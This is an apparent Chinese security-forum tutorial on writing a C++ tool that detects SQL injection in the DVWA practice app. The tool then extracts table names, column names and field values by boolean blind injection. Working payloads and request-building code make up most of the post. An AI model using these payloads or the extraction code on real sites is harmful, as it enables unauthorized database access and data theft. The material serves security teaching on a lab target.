安全矩阵

 找回密码
 立即注册
搜索
查看: 2186|回复: 0

网络安全编程:开发SQL注入工具

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-7-16 09:02:47 | 显示全部楼层 |阅读模式
原文链接:网络安全编程:开发SQL注入工具

SQL注入的产生是由于程序没有对外部的输入进行过滤,从而导致被精心构造的外来数据被注入到SQL语句中被执行而产生的黑客攻击。本文针对DVWA编写一个简单的用于辅助SQL注入的工具,在编写工具的同时可以从原理和本质上来了解SQL注入的形成。除了DVWA以外,还有许许多多不同的Web安全练习平台,无论是哪种Web安全练习平台都少不了最基础的练习。
在拿到一个网站要进行注入时,需要检测确认该网站是否存在已知的SQL注入的漏洞,那么就需要有进行判定是否存在SQL注入漏洞的方式。而SQL注入的漏洞常见有字符型注入、数值型注入和搜索型注入。虽然注入被分为了3类,但是它们的检测思路是相通的,下面举例介绍一下。
在登录某个Web系统时,首先会要求输入自己的用户名和密码,然后提交给Web服务器,Web服务器接收请求后转交给Web脚本去处理请求,接着Web脚本会用得到的用户名和密码去数据库中匹配是否存在该用户名,且该用户名的密码是否正确。在数据库中进行查询的语言就叫作SQL,即结构化查询语言。对于进行用户名和密码匹配的SQL脚本大体如下所示:
  1. Select * from user where username='admin' and password='123456'
复制代码

在上面的SQL语句中,就是要在user表中去匹配是否存在用户名为admin和密码为123456的记录。注意,这里的admin和123456都是用引号引住的,说明这两个值是字符型。
平时在浏览网页时,可能会看到如下的连接:
  1. http://localhost/article.php?id=1
复制代码

在这个URL中,article.php是请求的页面,id=1是提交给article.php的参数。而这个参数有可能是数值型,也有可能是字符型,用该id在数据库中查询可能是以下两种情况。
  1. Select * from article where id = 1
复制代码

上面的是数值型,对于字符型是如下的查询语句:
  1. Select * from article where id = '1'
复制代码

最后再说一下搜索型,搜索型一般是用在搜索栏的位置上,用于输入某个关键字然后在数据库中对该关键字进行匹配,比如要搜索所有以“微信公众号:计算机与网络安全”为标题的文章,可能的查询语句如下:
  1. Select * from article where title like '%微信公众号:计算机与网络安全%'
复制代码


在做搜索型查询时,在输入的关键字的两边有“%”,它用于匹配任何字符,而且查询时不再使用“=”,而是使用“like”关键字。
这就是3种不同的查询方式,而在实际写SQL的时候很少有人描述字符型查询、数值型查询的,因为编写SQL的人知道查询的值是什么类型,如果是数值就直接写,如果是字符则在字符的两侧加单引号。但是对于在进行注入检测时,是哪种类型就需要靠猜测了。
接着介绍Web脚本是如何让SQL去数据库中进行查询的,以下面这个URL进行说明。
  1. http://localhost/article.php?id=1
复制代码

如果这里的id是字符型,那么在Web脚本语言中可能是如下代码(以PHP语言说明)。
  1. $id = $_GET['id'];
  2. $sql = "select * from article where id = '" . $id . "'";
  3. Mysql_query($sql);
复制代码
首先获得id,接着将id进行拼接,注意在id前后都有一个单引号,拼接好以后就和前面介绍的语句一样了。如果是数值型的话,PHP语言的代码如下:
  1. $id = $_GET['id'];
  2. $sql = "select * from article where id = " . $id;
  3. Mysql_query($sql);
复制代码
注意看,在拼接查询语句时是没有单引号的。
基础部分已经差不多了,那么来说说检测是否存在SQL注入的方法,仍然使用上面的URL来介绍,如何判断article.php?id=1这个URL是否存在注入呢?如果是数值型查询,那么只要在id=1后面跟一个and 1=1就可以了,URL如下:
  1. http://localhost/article.php?id=1 and 1=1
复制代码

如果是字符型查询,那么只要在id=1后面跟一个’ and ‘1’=’1就可以了,URL如下:
  1. http://localhost/article.php?id=1' and '1'='1
复制代码

为什么要加个and呢,and后面为什么是1=1呢?因为and是逻辑与关系,and前面的表达式为真,且and后面的表达式也为真时,and表达式为真。那么id=1一般都是真的,而1=1也肯定是真的,因此id=1 and 1=1也是真的,那么在数据库中仍然会把正确的数据进行返回,也就是说id=1和id=1 and 1=1返回的内容应该是一样的。字符型中的单引号是用来在进行SQL字符串拼接时使用的,大家可以自行查看字符型的查询代码前面的SQL语句。
但是只通过and 1=1是无法说明问题的,还需要另外一个and表达式来进行测试,URL如下:
  1. http://localhost/article.php?id=1 and 1=2
复制代码

判断完and 1=1以后,就需要判断and 1=1,因为1=2是假,因此id=1 and 1=2的and表达式肯定为假,当为假的时候则无法返回正确的内容,也就是说id=1 and 1=2是无法返回与id=1相同的结果的。
因此,在进行SQL注入检测的时候,需要根据不同的类型来构造不同的检测判断,当and 1=1返回的内容与原内容相同,且and 1=2返回的内容与原内容不同时,基本就可以判定是存在SQL注入的了。
在DVWA中对上面的原理进行演示,将DWVA的安全级别设置为“Low”,然后进入“SQL Injection”模块,在界面中输入1,并进行提交,返回的页面被称为A页面,如图1所示。

图1  输入User ID为1的输出
再输入1' and '1'='1,这里是字符型的注入,是笔记已经测试过的,DVWA返回结果如图2所示,该页面被称为B页面。

图2  输入User ID为1' and '1'='1的输出
再输入1' and '1'='2,DVWA返回结果什么都没有,这个什么都没有返回的页面是C页面。判断是否存在注入的判定条件是,A页面的内容和B页面的内容相同,而B页面的内容和A页面的内容不相同。但是从返回页面来看A页面和B页面也有少许差异,但是差异并不在查询后的返回的内容上,而是将输入的内容显示到页面上以后又导致有了差异,那么A页面和B页面不完全相同了,如何进行判定呢?既然只是部分不相同了,那么还是不影响判定的,可以匹配页面的相似度,也可以去匹配页面上的特征码。匹配相似度可能稍微麻烦,但是匹配特征码就相对简单了,只要能查询出结果,就会在页面上返回“First name”和“Surname”,那么就用页面上的“First name”来作为特征码,判定条件就变了,在A页面上有“First name”,B页面上也有“First name”,且C页面上没有“Firstname”那么就判定该页面存在SQL注入。
在“SQL Injection”模块中提交了数据以后,URL的地址如下:
  1. http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
复制代码

地址栏的数据是?id=1&Submit=Submit这样的,经过测试,如果地址栏没有Submit=Submit则提交后会有问题,但是它的存在不利于测试,那么修改该URL地址如下:
  1. http://127.0.0.1/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1
复制代码

通过这样既保留了Submit=Submit,又可以利用id=1进行注入测试了。
有了上面的思路以后,就来看一下接下来要编写的程序,如图3所示。

图3  SQL注入检测程序
在图中先将需要检测的URL地址填入,然后填入特征码,选择好注入的类型,然后单击“测试”,就会看到测试的情况。下面来看单击“测试”按钮后的代码,代码如下:
  1. void CSQLInjectToolsDlg::OnBnClickedButton1()
  2. {
  3.   // TODO: 在此添加控件通知处理程序代码
  4.   CString strUrl;
  5.   GetDlgItemText(IDC_EDIT1, strUrl);
  6.   GetDlgItemText(IDC_EDIT2, m_strSign);
  7.   DWORD dwServiceType; // 服务类型
  8.   CString strServer; // 服务器地址
  9.   CString strObject; // URL 指向的对象
  10.   INTERNET_PORT nPort; // 端口号
  11.   AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);
  12.   CheckInject(strServer, strObject, nPort);
  13. }

  14. 获得需要测试的注入地址,以及获得特征码,然后在CheckInject函数中进行检测,CheckInject函数代码如下:

  15. void CSQLInjectToolsDlg::CheckInject(CString strServer, CString strObject, INTERNET_
  16. PORT nPort)
  17. {
  18.   CString strUrl;
  19.   strUrl = "http://" + strServer + strObject;
  20.   switch ( m_nSel )
  21.   {
  22.     case 1:
  23.     {
  24.       m_ScanList.InsertItem(m_ScanList.GetItemCount(), "测试字符型");
  25.       if ( Check(strServer, strObject, pCharText[0], pCharText[1]) )
  26.       {
  27.         strUrl = strUrl + "[存在]";
  28.       }
  29.       else
  30.       {
  31.         strUrl = strUrl + "[不存在]";
  32.       }
  33.       break;
  34.     }
  35.     case 2:
  36.     {
  37.       m_ScanList.InsertItem(m_ScanList.GetItemCount(), "测试数值型");
  38.       if ( Check(strServer, strObject, pNumText[0], pNumText[1]) )
  39.       {
  40.         strUrl = strUrl + "[存在]";
  41.       }
  42.       else
  43.       {
  44.         strUrl = strUrl + "[不存在]";
  45.       }
  46.       break;
  47.     }
  48.     case 3:
  49.     {
  50.       m_ScanList.InsertItem(m_ScanList.GetItemCount(), "测试搜索型");
  51.       if ( Check(strServer, strObject, pSearchText[0], pSearchText[1]) )
  52.       {
  53.         strUrl = strUrl + "[存在]";
  54.       }
  55.       else
  56.       {
  57.         strUrl = strUrl + "[不存在]";
  58.       }
  59.       break;
  60.     }
  61.     default:
  62.     {
  63.       AfxMessageBox("请选择测试类型!!");
  64.       break;
  65.     }
  66.   }
  67.   m_ScanList.InsertItem(m_ScanList.GetItemCount(), strUrl);
  68.   // closesocket(m_sock);
  69. }
复制代码
在代码中,switch用来判断选择的是哪种注入的测试类型,然后具体的判断实现在Check函数中,Check函数的代码如下:
  1. BOOL CSQLInjectToolsDlg::Check(CString strServer, CString strObject, CString str11,
  2. CString str12)
  3. {
  4.   BOOL bRet = FALSE;
  5.   char szSendPacket[1024] = { 0 };
  6.   char szRecvPacket[0x2048] = { 0 };
  7.   CString strUrl;
  8.   m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  9.   sockaddr_in ServerAddr = { 0 };
  10.   ServerAddr.sin_family = AF_INET;
  11.   ServerAddr.sin_port = htons(80);
  12.   ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);
  13.   connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));
  14.   // 测试真
  15.   strUrl = strObject + str11;
  16.   HttpGet(szSendPacket, strUrl.GetBuffer(0), strServer.GetBuffer(0));
  17.   send(m_sock, szSendPacket, strlen(szSendPacket), 0);
  18.   recv(m_sock, szRecvPacket, 0x2048, 0);
  19.   CString strPacket_11 = szRecvPacket;
  20.   closesocket(m_sock);
  21.   m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  22.   connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));
  23.   // 测试假
  24.   strUrl = strObject + str12;
  25.   ZeroMemory(szSendPacket, 1024);
  26.   ZeroMemory(szRecvPacket, 0x2048);
  27.   HttpGet(szSendPacket, strUrl.GetBuffer(0), strServer.GetBuffer(0));
  28.   send(m_sock, szSendPacket, strlen(szSendPacket), 0);
  29.   recv(m_sock, szRecvPacket, 0x2048, 0);
  30.   CString strPacket_12 = szRecvPacket;
  31.   closesocket(m_sock);
  32.   if ( strPacket_11.Find(m_strSign) != -1 && strPacket_12.Find(m_strSign) == -1 )
  33.   {
  34.     bRet = TRUE;
  35.   }
  36.   return bRet;
  37. }
复制代码
首先连接Web服务器,对服务器发送数据包,然后接收服务器返回的数据包,发送的包是对Web服务器的GET请求,而接收的数据包就是Web服务器返回的网页的内容。第一次发送的是永真的1=1,第二次发送永假的1=2,然后分别在两个包中查找特征码即可。发送的数据包的函数是HttpGet函数,该函数的定义如下:
  1. void CSQLInjectToolsDlg::HttpGet(char* strGetPacket, char* strUrl, char* strHost)
  2. {
  3.   wsprintf(strGetPacket, "GET %s HTTP/1.1\r\n"
  4. "Host: %s\r\n"
  5. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,
  6. */*;q=0.8\r\n"
  7. "Upgrade-Insecure-Requests: 1\r\n"
  8. "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML,
  9. like Gecko) Chrome/50.0.2661.102 Safari/537.36\r\n"
  10. "Referer: http://localhost/dvwa-1.9/vulnerabilities/sqli/\r\n"
  11. "Accept-Encoding: gzip, deflate, sdch\r\n"
  12. "Accept-Language: zh-CN,zh;q=0.8\r\n"
  13. "Cookie: security=low; pgv_pvi=8928542720; Hm_lvt_0a8b0d0d0f05cb8727db5cc8d
  14. 1f0dc08=1505118977; a5787_times=1; a3564_times=1; pageNo=1; pageSize=30;
  15. Hm_lvt_82116c626a8d504a5c0675073362ef6f=1508373269,1508719861,1508806033,
  16. 1508821087; PHPSESSID=jn0pc2a4eubcd400m4bh6nv1n2\r\n"
  17. "Connection: close\r\n\r\n", strUrl, strHost);
  18. }
复制代码
发送的数据包是从Burp中拦截到的数据包,修改包请求的URL和请求主机即可。最后给出代码中对3种注入检测的定义,定义如下:
  1. // 字符型
  2. char *pCharText[] =
  3. {
  4. "%27+and+%271%27=%271",
  5. "%27+and+%271%27=%272"
  6. };
  7. // 数值型
  8. char *pNumText[] =
  9. {
  10. " and 1=1",
  11. " and 1=2"
  12. };
  13. // 搜索型
  14. char *pSearchText[] =
  15. {
  16. "%25%27+and+1=1+and+%27%25%27=%27%25",
  17. "%25%27+and+1=2+and+%27%25%27=%27%25"
  18. };
复制代码


在请求的URL中,空格使用“+”代替,%27表示单引号,%25表示%。在URL中有很多字符出现以后是需要经过编码的,不过好在这里只是使用ASCII码进行了表示,大家在写的时候需要注意。
上面是关于检测的部分,下面来介绍关于利用的部分。利用的部分也类似检测部分的原理,下面介绍如何猜解数据库中的表名。判断数据库中有哪些表,这个也需要用到字典。这个字典可以自己收集,同样也可以在现有的软件中找一些字典来自己使用。
猜解数据库中的表名,同样也是用到SQL语句,还是以DVWA安全级别为“Low”的“SQL Injection”模块来演示,如图4所示。

图4  SQL注入对表名的猜解
Exists在SQL中用来检测括号中的查询语句是否返回结果集,上面的查询语句exists(select * from users)中,exists要判断select * from users是否返回了结果集,返回了就为真,没返回就为假,至于返回什么结果集并不重要。由此可以看出exists返回的是一个逻辑值,因此在判断表名是否存在时就是这么判断的。上面构造的查询语句如下:
  1. Select firstname, surname from 表 名 where id = '1' and exists(select * from users) and
  2. '1'='1'
复制代码
在exists括号中的users就是要猜解的表名,当表名存在的时候就会有结果集返回,那么exists为真,整个and表达式成立,则页面会返回与正常页面相同的页面,或者返回带有特征码的页面。猜解表单的代码如下:

  1. void CSQLInjectToolsDlg::OnBnClickedButton2()
  2. {
  3.   // TODO: 在此添加控件通知处理程序代码
  4.   CString strUrl;
  5.   GetDlgItemText(IDC_EDIT1, strUrl);
  6.   GetDlgItemText(IDC_EDIT2, m_strSign);
  7.   DWORD dwServiceType; // 服务类型
  8.   CString strServer; // 服务器地址
  9.   CString strObject; // URL 指向的对象
  10.   INTERNET_PORT nPort; // 端口号
  11.   AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);
  12.   int nTable = sizeof(tables) / MAXBYTE;
  13.   m_ScanList.InsertItem(m_ScanList.GetItemCount(), "开始猜表名");
  14.   for ( int i = 0; i < nTable; i++ )
  15.   {
  16.     CString strUrl_1;
  17.     // and (select count(*) from user) > 0
  18.     strUrl_1.Format("%s%%27+and+exists%%28select+*+from+%s%%29+and+%%271%%27=%%271",
  19.       strObject, tables[i]);
  20.     m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  21.     sockaddr_in ServerAddr = { 0 };
  22.     ServerAddr.sin_family = AF_INET;
  23.     ServerAddr.sin_port = htons(80);
  24.     ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);
  25.     connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));
  26.     char szSendPacket[1024] = { 0 };
  27.     char szRecvPacket[0x2048] = { 0 };
  28.     HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0));
  29.     send(m_sock, szSendPacket, strlen(szSendPacket), 0);
  30.     recv(m_sock, szRecvPacket, 0x2048, 0);
  31.     CString strPacket;
  32.     strPacket = szRecvPacket;
  33.     CString tab = tables[i];
  34.     if ( strPacket.Find(m_strSign) != -1 )
  35.     {
  36.       tab = tab + "[存在该表]";
  37.     }
  38.     m_ScanList.InsertItem(m_ScanList.GetItemCount(), tab);
  39.     closesocket(m_sock);
  40.   }
  41.   m_ScanList.InsertItem(m_ScanList.GetItemCount(), "结束猜表名");
  42. }
复制代码

上面的关键在该句代码:
  1. strUrl_1.Format("%s%%27+and+exists%%28select+*+from+%s%%29+and+%%271%%27=%%271",
  2. strObject, tables[i]);
复制代码

该代码用来拼接请求的URL,其中%28和%29是分别代表了“(”和“)”,这两个字符也不能出现在URL中,因此使用ASCII码替换。然后在其中不断地用tables数组中保存的表字典来猜测,表字典的定义如下:
  1. // 猜表名
  2. char tables[][MAXBYTE] = { "admin", "manage", "users", "user", "guestbook", "note"};
复制代码
// 猜表名char tables[][MAXBYTE] = { "admin", "manage", "users", "user", "guestbook", "note"};
程序运行后的效果如图5所示。

图5  SQL注入猜解表名
猜解完表名接下来就要猜解表中的列名,猜解列名如图6所示。

图6  SQL注入猜解列名
猜解列名的原理依然类似,代码如下所示:

  1. char columns[][MAXBYTE] = { "id", "user", "username", "pass", "pwd", "password"};
  2. void CSQLInjectToolsDlg::OnBnClickedButton3()
  3. {
  4.   // TODO: 在此添加控件通知处理程序代码
  5.   CString strTable;
  6.   CString strUrl;
  7.   GetDlgItemText(IDC_EDIT1, strUrl);
  8.   GetDlgItemText(IDC_EDIT2, m_strSign);
  9.   GetDlgItemText(IDC_EDIT3, strTable); // 获取猜解表名
  10.   DWORD dwServiceType; // 服务类型
  11.   CString strServer; // 服务器地址
  12.   CString strObject; // URL 指向的对象
  13.   INTERNET_PORT nPort; // 端口号
  14.   AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);
  15.   int nColumns = sizeof(columns) / MAXBYTE;
  16.   m_ScanList.InsertItem(m_ScanList.GetItemCount(), "开始猜列名");
  17.   for ( int i = 0; i < nColumns; i++ )
  18.   {
  19.     CString strUrl_1;
  20.     // and (select count(id) from user) > 0
  21.     strUrl_1.Format("%s%%27+and+%%28select+count%%28%s%%29+from+%s%%29>0+and+
  22.       %%271%%27=%%271", strObject, columns[i], strTable);
  23.     m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  24.     sockaddr_in ServerAddr = { 0 };
  25.     ServerAddr.sin_family = AF_INET;
  26.     ServerAddr.sin_port = htons(80);
  27.     ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);
  28.     connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));
  29.     char szSendPacket[1024] = { 0 };
  30.     char szRecvPacket[0x2048] = { 0 };
  31.     HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0));
  32.     send(m_sock, szSendPacket, strlen(szSendPacket), 0);
  33.     recv(m_sock, szRecvPacket, 0x2048, 0);
  34.     CString strPacket;
  35.     strPacket = szRecvPacket;
  36.     CString col = columns[i];
  37.     if ( strPacket.Find(m_strSign) != -1 )
  38.     {
  39.       col = col + "[存在该列]";
  40.     }
  41.     m_ScanList.InsertItem(m_ScanList.GetItemCount(), col);
  42.     closesocket(m_sock);
  43.   }
  44.   m_ScanList.InsertItem(m_ScanList.GetItemCount(), "结束猜列名");
  45. }
复制代码

猜解列名的关键语句如下所示:
  1. 1' and (select count(password) from users)>0 and '1'='1
复制代码

猜解列名时,不断地替换count函数括号内的字段名,当该字段存在值时会返回一个大于0的值,使得and表达式成立,于是返回带有特征码的页面。
一般情况下,猜解完列名,就该猜解列里面的值了,这里给出关键的构造SQL的语句。猜解列里的值,仍然是使用暴力破解,但是首先要知道列里的值的长度,计算长度的SQL语句如下:
  1. 1' and (select length(user) from users limit 0,1)=5 and '1'='1
复制代码

首先length函数是用来计算长度的函数,这里length(user)是用来计算user字段中值的长度,user列中可能不会只有一个值,而是会有多个值,但是判断时只需要取一条记录,因此取了第一条记录,使用的语句是limit 0,1,也就是从第0条记录开始取1条。取出来的记录如果为5则返回真,如果不是5则返回假。
因此,构造该语句时大体如下:
  1. strUrl.format("1' and (select length(字段名) from 表名 limit %s,1)=%d and '1'='1",n, len);
复制代码


其中n表示第几条记录,len表示猜解的长度,因为长度不固定因此长度使用循环变量逐个尝试即可。比如,猜解的第0条用户名是admin,那么长度就为5,有了长度之后再使用如下的语句猜解每一位的值,猜解admin的过程如下:
  1. // 字段值
  2. 1' and (select ascii(mid(user, 1, 1)) from users limit 0, 1) = 97 and '1'='1
  3. 1' and (select ascii(mid(user, 2, 1)) from users limit 0, 1) = 100 and '1'='1
  4. 1' and (select ascii(mid(user, 3, 1)) from users limit 0, 1) = 109 and '1'='1
  5. 1' and (select ascii(mid(user, 4, 1)) from users limit 0, 1) = 105 and '1'='1
  6. 1' and (select ascii(mid(user, 5, 1)) from users limit 0, 1) = 110 and '1'='1
复制代码

// 字段值1' and (select ascii(mid(user, 1, 1)) from users limit 0, 1) = 97 and '1'='11' and (select ascii(mid(user, 2, 1)) from users limit 0, 1) = 100 and '1'='11' and (select ascii(mid(user, 3, 1)) from users limit 0, 1) = 109 and '1'='11' and (select ascii(mid(user, 4, 1)) from users limit 0, 1) = 105 and '1'='11' and (select ascii(mid(user, 5, 1)) from users limit 0, 1) = 110 and '1'='1
上面的97表示a,100表示d,该处使用数字、大小写字母进行替换测试即可,当测试条件成功后,测试下一个值,这时就使用到了mid函数,mid函数是用来取值字符串的子串的,因此猜解值时需要双重循环来进行猜解。
下来完成判断列值长度的功能,如图7所示。

图7  SQL注入猜解列值长度
在图7中猜解的是users表中第0条记录的user字段(字段就是列),猜解到的长度为5。下面看代码:

  1. void CSQLInjectToolsDlg::OnBnClickedButton4()
  2. {
  3.   // TODO: 在此添加控件通知处理程序代码
  4.   CString strTable;
  5.   CString strField;
  6.   CString strUrl;
  7.   CString strNum;
  8.   GetDlgItemText(IDC_EDIT1, strUrl);
  9.   GetDlgItemText(IDC_EDIT2, m_strSign);
  10.   GetDlgItemText(IDC_EDIT3, strTable); // 获取猜解表名
  11.   GetDlgItemText(IDC_EDIT4, strField); // 列名
  12.   GetDlgItemText(IDC_EDIT5, strNum); // 猜解第几行
  13.   DWORD dwServiceType; // 服务类型
  14.   CString strServer; // 服务器地址
  15.   CString strObject; // URL 指向的对象
  16.   INTERNET_PORT nPort; // 端口号
  17.   AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);
  18.   m_ScanList.InsertItem(m_ScanList.GetItemCount(), "开始猜列值长度");
  19.   // 求长度
  20.   int nLen = 1;
  21.   while ( nLen <= 64 )
  22.   {
  23.     CString strUrl_1;
  24.     // and (select length(username) from user limit 1) = 5
  25.     strUrl_1.Format("%s%%27+and+%%28select+length%%28%s%%29+from+%s+limit+%s%%2
  26.       C1%%29=%d+and+%%271%%27=%%271", strObject, strField, strTable, strNum, nLen);
  27.     m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  28.     sockaddr_in ServerAddr = { 0 };
  29.     ServerAddr.sin_family = AF_INET;
  30.     ServerAddr.sin_port = htons(80);
  31.     ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);
  32.     connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));
  33.     char szSendPacket[1024] = { 0 };
  34.     char szRecvPacket[0x2048] = { 0 };
  35.     HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0));
  36.     send(m_sock, szSendPacket, strlen(szSendPacket), 0);
  37.     recv(m_sock, szRecvPacket, 0x2048, 0);
  38.     CString strPacket;
  39.     strPacket = szRecvPacket;
  40.     if ( strPacket.Find(m_strSign) != -1 )
  41.     {
  42.       closesocket(m_sock);
  43.       break;
  44.     }
  45.     closesocket(m_sock);
  46.     nLen ++;
  47.   }
  48.   CString num;
  49.   num.Format("%d", nLen);
  50.   m_ScanList.InsertItem(m_ScanList.GetItemCount(), num);
  51.   m_ScanList.InsertItem(m_ScanList.GetItemCount(), "结束猜列值长度");
  52. }
复制代码


最后再来看一下猜解列的值,如图8所示。

图8  SQL注入字段值的猜解
在图8中,需要手动输入猜解到的表名、列名和长度,当猜解第0行记录的user列的长度后,一定是猜解第0行记录的user列的值。代码如下:
  1. void CSQLInjectToolsDlg::OnBnClickedButton5()
  2. {
  3.   // 在此添加控件通知处理程序代码
  4.   CString strTable;
  5.   CString strField;
  6.   CString strUrl;
  7.   CString strNum;
  8.   int nLen;
  9.   GetDlgItemText(IDC_EDIT1, strUrl);
  10.   GetDlgItemText(IDC_EDIT2, m_strSign);
  11.   GetDlgItemText(IDC_EDIT3, strTable); // 获取猜解表名
  12.   GetDlgItemText(IDC_EDIT4, strField); // 列名
  13.   GetDlgItemText(IDC_EDIT5, strNum); // 猜解第几行
  14.   nLen = GetDlgItemInt(IDC_EDIT6);
  15.   DWORD dwServiceType; // 服务类型
  16.   CString strServer; // 服务器地址
  17.   CString strObject; // URL 指向的对象
  18.   INTERNET_PORT nPort; // 端口号
  19.   AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);
  20.   m_ScanList.InsertItem(m_ScanList.GetItemCount(), "开始猜列值");
  21.   CString strValue;
  22.   int i = 1;
  23.   CString username;
  24.   // 长度用于猜解每一位
  25.   while ( i <= nLen )
  26.   {
  27.     // 这里猜解只猜解小写的字母
  28.     // 这里在实际的时候需要改成各种可能的字符
  29.     for ( int c = 97; c < 122; c ++ )
  30.     {
  31.       CString strUrl_1;
  32.       // and (select ascii(mid(username, 1, 1)) from user limit 1) = 97
  33.       strUrl_1.Format("%s%%27+and+%%28select+ascii%%28mid%%28%s,%d,1%%29%%29+
  34.         from+%s+limit+%s,1%%29=%d+and+%%271%%27=%%271",
  35.         strObject, strField, i, strTable, strNum, c);
  36.       m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  37.       sockaddr_in ServerAddr = { 0 };
  38.       ServerAddr.sin_family = AF_INET;
  39.       ServerAddr.sin_port = htons(80);
  40.       ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);
  41.       connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));
  42.       char szSendPacket[1024] = { 0 };
  43.       char szRecvPacket[0x2048] = { 0 };
  44.       HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0));
  45.       send(m_sock, szSendPacket, strlen(szSendPacket), 0);
  46.       recv(m_sock, szRecvPacket, 0x2048, 0);
  47.       CString strPacket;
  48.       strPacket = szRecvPacket;
  49.       if ( strPacket.Find(m_strSign) != -1 )
  50.       {
  51.         // 拼接猜解的每一位用户名
  52.         username.Format("%s%c", username, c);
  53.         closesocket(m_sock);
  54.         break;
  55.       }
  56.       closesocket(m_sock);
  57.     }
  58.     i ++;
  59.   }
  60.   username = username + "[猜解结果]";
  61.   m_ScanList.InsertItem(m_ScanList.GetItemCount(), username);
  62.   m_ScanList.InsertItem(m_ScanList.GetItemCount(), "结束猜列值");
  63. }
复制代码
到这里整个的关于DVWA系统中针对安全级别为“Low”的“SQL Injection”模块的测试和利用代码就完成了。从整个代码中可以看出,对于基本的掌握SQL的使用是不复杂的,没有接触过的朋友通过少量的时间即可学会。对Web安全感兴趣的朋友,可以跟着DVWA系统进行练习,因为DVWA系统已经基本涉及了Web安全领域入门所需要掌握的常见漏洞,如果大家能够在学习DVWA的过程中将PHP语言学会(DVWA就是PHP+MySQL写的),通过阅读DVWA各个安全级别的代码,不但可以掌握各种漏洞的形成,还能够学习到如何编写安全的Web代码,从而在源头上尽可能地杜绝漏洞的产生。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 09:00 , Processed in 0.014524 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表